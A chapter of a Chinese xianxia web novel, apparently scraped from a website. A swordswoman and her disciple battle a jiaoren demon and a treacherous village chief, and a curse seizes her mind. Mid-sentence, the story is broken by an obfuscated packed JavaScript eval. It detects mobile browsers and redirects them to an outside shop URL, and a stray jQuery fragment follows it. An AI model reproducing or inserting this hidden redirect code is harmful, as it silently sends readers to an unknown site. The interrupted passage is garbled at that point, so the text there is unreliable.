日月流转,稳健的脚步声由远到近,村长提着灯笼自黄昏而来。
青草葱嫩的庭院,长诉等候多时,他上前敲响紧闭的房门,恭敬唤道:“师尊。”
门吱嘎推开一条缝隙,朦胧的黄昏中映出轻长霜如竹清癯的身影。
“今日便是月圆之夜,”村长在前段带路:“青山村就拜托各位仙师了。”
轻长霜微微颔首。
按照原著剧情,藏于水中的鲛妖会在今夜将他们当做猎物。
寒风瑟瑟,树影绰绰,三人很快来至鲛人湖畔。行完路程时渐晚,皓月当空,清辉似流沙泼在轻长霜身上。
轻长霜不徐不疾走至岸边,冷眉远望。
深不见底的湖水中,一条乌黑鱼尾搅动波光粼粼的湖面,快速穿梭其中。
村长面色难看至极,长诉上前好言安慰:“请放宽心,此处交给师尊同我便好。”
村长连连道谢,忙不迭转身离去。
寒凉的湖面雾气渐生,四方八方裹挟着二人。阴冷,潮湿,黏黏糊糊沾染在皮肤上,像是滑腻的触手。
轻长霜面色冷极,抬手打散妖雾,然不稍片刻雾气重新凝聚在身旁。
她轻嗤一声:“装神弄鬼。”
纯粹的剑意自掌心无形展现,握紧的瞬间便凝成实质。
纤薄的剑身几乎瞧不见厚度,闪烁的刃光如凝练的月光,似云似雾。
轻长霜面无表情剑指鲛人湖。
原著剧情点已至。
她要劈开这湖水,直取鲛妖项上人头。
水下鲛人笔直冲来,水花四溅,层层涟漪荡漾。深黑的身影自浅岸甩尾跃出,露出尖锐漆黑的利爪。
掌心与手背覆盖晶鳞,指中生出透明肉色的蹼,连接着五指。
速度太慢了。
轻长霜眼也未眨,剑锋锋利的寒芒不费吹灰之力抵住鲛妖来势汹汹的攻势,顺势割断他的手掌。
剑锋划破血肉,鲛妖喉咙发出一声野兽般的哀嚎,尖锐又刺耳,叫人忍不住捂住耳朵。
他甩着尾巴四处逃窜,然而浩瀚的灵力编织成坚韧的牢笼,四方八方堵住鲛妖的退路。
轻长霜烦躁地闭了闭眼,甩净剑身的血迹,终于看清楚鲛妖冷汗淋漓的脸。
银白的发丝贴着脸颊滑落,鲛人深邃的双眸闪烁着靛蓝的色泽,宛若海洋汇聚于此,耳鳍上嵌着寒光森然的珍珠。
正是他附身在诗人身上的那一颗。
“不愧是仙师,不受我血液的影响。”
鲛妖死死握着流血的手腕,势在必得的笑容逐渐消失。他伸出触碰结界,下一瞬便传来撕心裂肺的痛楚。
“好疼。”他尖锐的声音传来丝丝委屈。
轻长霜不予理会,她屈指触了触湖水,温度清寒沁骨,感受不到镇妖石的一缕气息。
果然被瓦解了。
“师尊,这鲛妖要如何处理?”长诉看着不慌不慌止血的鲛妖,出声询问。
“为非作歹,自然该杀。”轻长霜冷冷睨他一眼,“勿要心慈手软。”
“是。”
夜色寂寥,湿漉漉的鲛妖甩着鱼尾,面容楚楚:“你要杀了我吗?”
“仙师,只要你不杀我,我可以满足你的愿望。”鲛妖靛蓝的眼眸怜怜望着她,绮丽美艳的色泽流转其中:“任何愿望,皆可满足。”
“杀人偿命,自当诛之。”轻长霜不受蛊惑。
数十年的夙愿,一只小小的鲛妖岂有能力替她完成?
她冷淡的眼睨过湖水,一道低沉而坚韧的吱嘎声,伴随着槐树后传来破空声。
锋利的箭头急速而过,长诉游刃有余偏开脑袋,箭矢堪堪擦过他如玉的脸颊,稳稳钉在一旁的树缝中。
“村长怎会在此处?”
长诉不慌不忙撩回滑落的青丝,视线温和而缓慢的落在槐树后走出的人影。一丝极冷的危险,藏在他的笑意中。
“愚昧之徒。”村长可惜地摇摇头:“没想到天息来的还有些真本事。不过今日,定叫你有来无回。”
“青山村同妖物勾结。”长诉吐息平缓,温和而言之凿凿:“此乃共谋,其罪可诛。”
这次他滴水未沾青山村的食物,这群人想要控制他的如意算盘只能落空。
更何况前世今生,只要轻长霜往那一站,任何妖物都不足为惧。
“那又如何?”村长狞笑着张弓搭箭:“怪只怪你们找死,非要掺和我们青山村的事!”
咻——
箭尖闪烁着寒光深深没入跟前半寸,长诉不徐不疾平滑向后,唇角一点点弯起来:“准头还需练练。”
“臭小子别太得意。”村长恶狠狠将弓箭丢到地上,扭头催促道:“鲛妖,你在做什么?还不尽快控制住她!”
无坚不摧的囚笼中,鲛妖捂着小心翼翼接好的断肢,状若无辜地摆动着鱼尾:“我只是还有很多问题想要问仙君。”
“胡闹!”村长恶狠狠呵斥:“日后有得是机会问,你到底在犹豫什么?以往你不是做得很好吗?!”
“不知悔改。”
一抹极寒的厉色掠过轻长霜的眼底,胧月剑重新化形,无暇的剑气重凝在剑尖,剑锋所向,空气发出撕裂般的悲鸣。
“仙君莫恼。”
鲛妖嘴角裂开一抹笑,锋利尖锐的长甲破水而出,割破惨白的手腕,滚滚鲜血往下落。
氤氲阴冷的血雾从鲛妖周围朝外扩散,清冷的光辉静静泼满山野,风过草浪如潮。
“束。”鲛妖鲜红的唇微张。
怎么回事?
冷冽的剑意霎时如雾溃散,轻长霜瞳仁猛然一颤,某种微妙的颠倒感,让她不受控制地歪靠树干。
峦瞬间叠出重影,水波碎成千万片。
天地晃动,山水错位,晃得人眼底发晕。
万千生灵齐齐低语诅咒,自四面八方无孔不入。
心脉中延伸出看不出的黑线,弥漫至五脏六腑,带着深黑的恶意,争先恐后蚕食着她的神智。
使不出灵力来。
轻长霜眼前阵阵昏黑,她控制着近乎昏厥的神志,浅白的唇瓣质问般翕张:“系统,你在搞什么?”
不是说鲛妖血对她无用吗?
可她什么也看不见,什么也听不见。
脑内喋喋不休的咒语覆盖了系统着急的叫喊,她捂着剧痛无比的脑袋双目失焦,她只能隐约瞧见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650542|206407||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
远端模糊的轮廓,看不真切。
系统没有回答。
轻长霜低声呼唤:“…系统?”
如一座死寂的空谷,得不到回应。
轻长霜情不自禁加重声音,用不满遮掩内心的慌张:“系统,回答我。”
究竟在干什么?为什么还不出现。
魔音灌耳的诅咒在脑内不断回荡,她一颗心沉入谷底。
灌木丛中藏着的村民拎着弓接二连三冒出头来,长诉不好当着轻长霜的面伤人,被逼得后退数步。
水流涓涓响起,长诉握着剑迅速回过头,警惕的视线落在喃喃自语的轻长霜身上时,眉头几不可察地诧异蹙了下。
她怎么了?
这幅场景长诉再熟悉不过,曾经受控时便是这副模样。
长诉握剑的手紧了紧,目光不动声色向后偏去。窥见她无神的瞳仁时,唇角几乎抿成一条直线。
她怎么可能会中计。
长诉劈开斜来的箭雨,背身正色问道:“师尊,此事如何处置?”
轻长霜垂着首毫无反应。
糟糕了。
村民不怀好意张开弓箭,长诉眼中藏着杀机,不留余地的剑气将他们通通掀飞。
事到如今管不了那么多了。
闪烁寒光的剑锋直指鲛妖,他常见的笑容消散,清浅的眉眼斥满冰冷:“你是如何让她中的招数?”
“我们鲛妖族最善蛊惑人心,吃下被血肉浇灌生长的食物,更容易被我们掌控。”
“荒谬。”长诉面色不改,质问淬了冰:“鲛血可没滔天的本事。”
“你说得不错。”鲛妖大大方方承认,唇角裂开,露出一排排尖锐的寒齿:“她这样的强者本不该被我所控,可怎就凑巧吸入了食人花妖的毒素?这才叫我有了可乘之机。”
鲛妖得逞的低语穿过层层杂音,不断蛊惑:“好仙君,快替我解了这结界。”
长诉连忙回身阻止:“师尊,不可。”
长诉瞬间回想起来曾经身不由己的时候,除了诅咒的声音和鲛妖的命令,其他声音通通入不了耳。
他曾经在被控制的情况下,轻长霜将他打得半死,这才唤回他残存的理智。
黑暗无际的世界中,轻长霜深陷其中无法自拔,她没注意自己的手不受控制地抬起,轻轻一挥,囚笼顿时溃散了去。
鲛妖笑容玩味:“这位小仙师,你还要同我们打吗?”
呲牙咧嘴的村民满身狼藉爬回来,凶神恶煞将二人围在中央。
面朝志得意满的鲛妖,背对濒临失控的轻长霜,长诉艰难地提了提剑。
这样下去不是办法。
他现在需要面对的不止是鲛妖和村民,还有一位半脚跨入九重天的轻长霜。
如果不能瞬间斩杀鲛妖,那喘过气来的鲛妖定然会叫他死无葬身之地,说不定还会借轻长霜的手打得他魂飞魄散。
不如养精蓄锐,等待她清醒过来。
说不定还有一线生机。
片息缄默,长诉若无其事收剑入鞘,旋即将太平剑收入神识中。
他唇瓣缓缓上扬,重新挂上温和的笑意,如沐春风道:“自当任由各位处置。”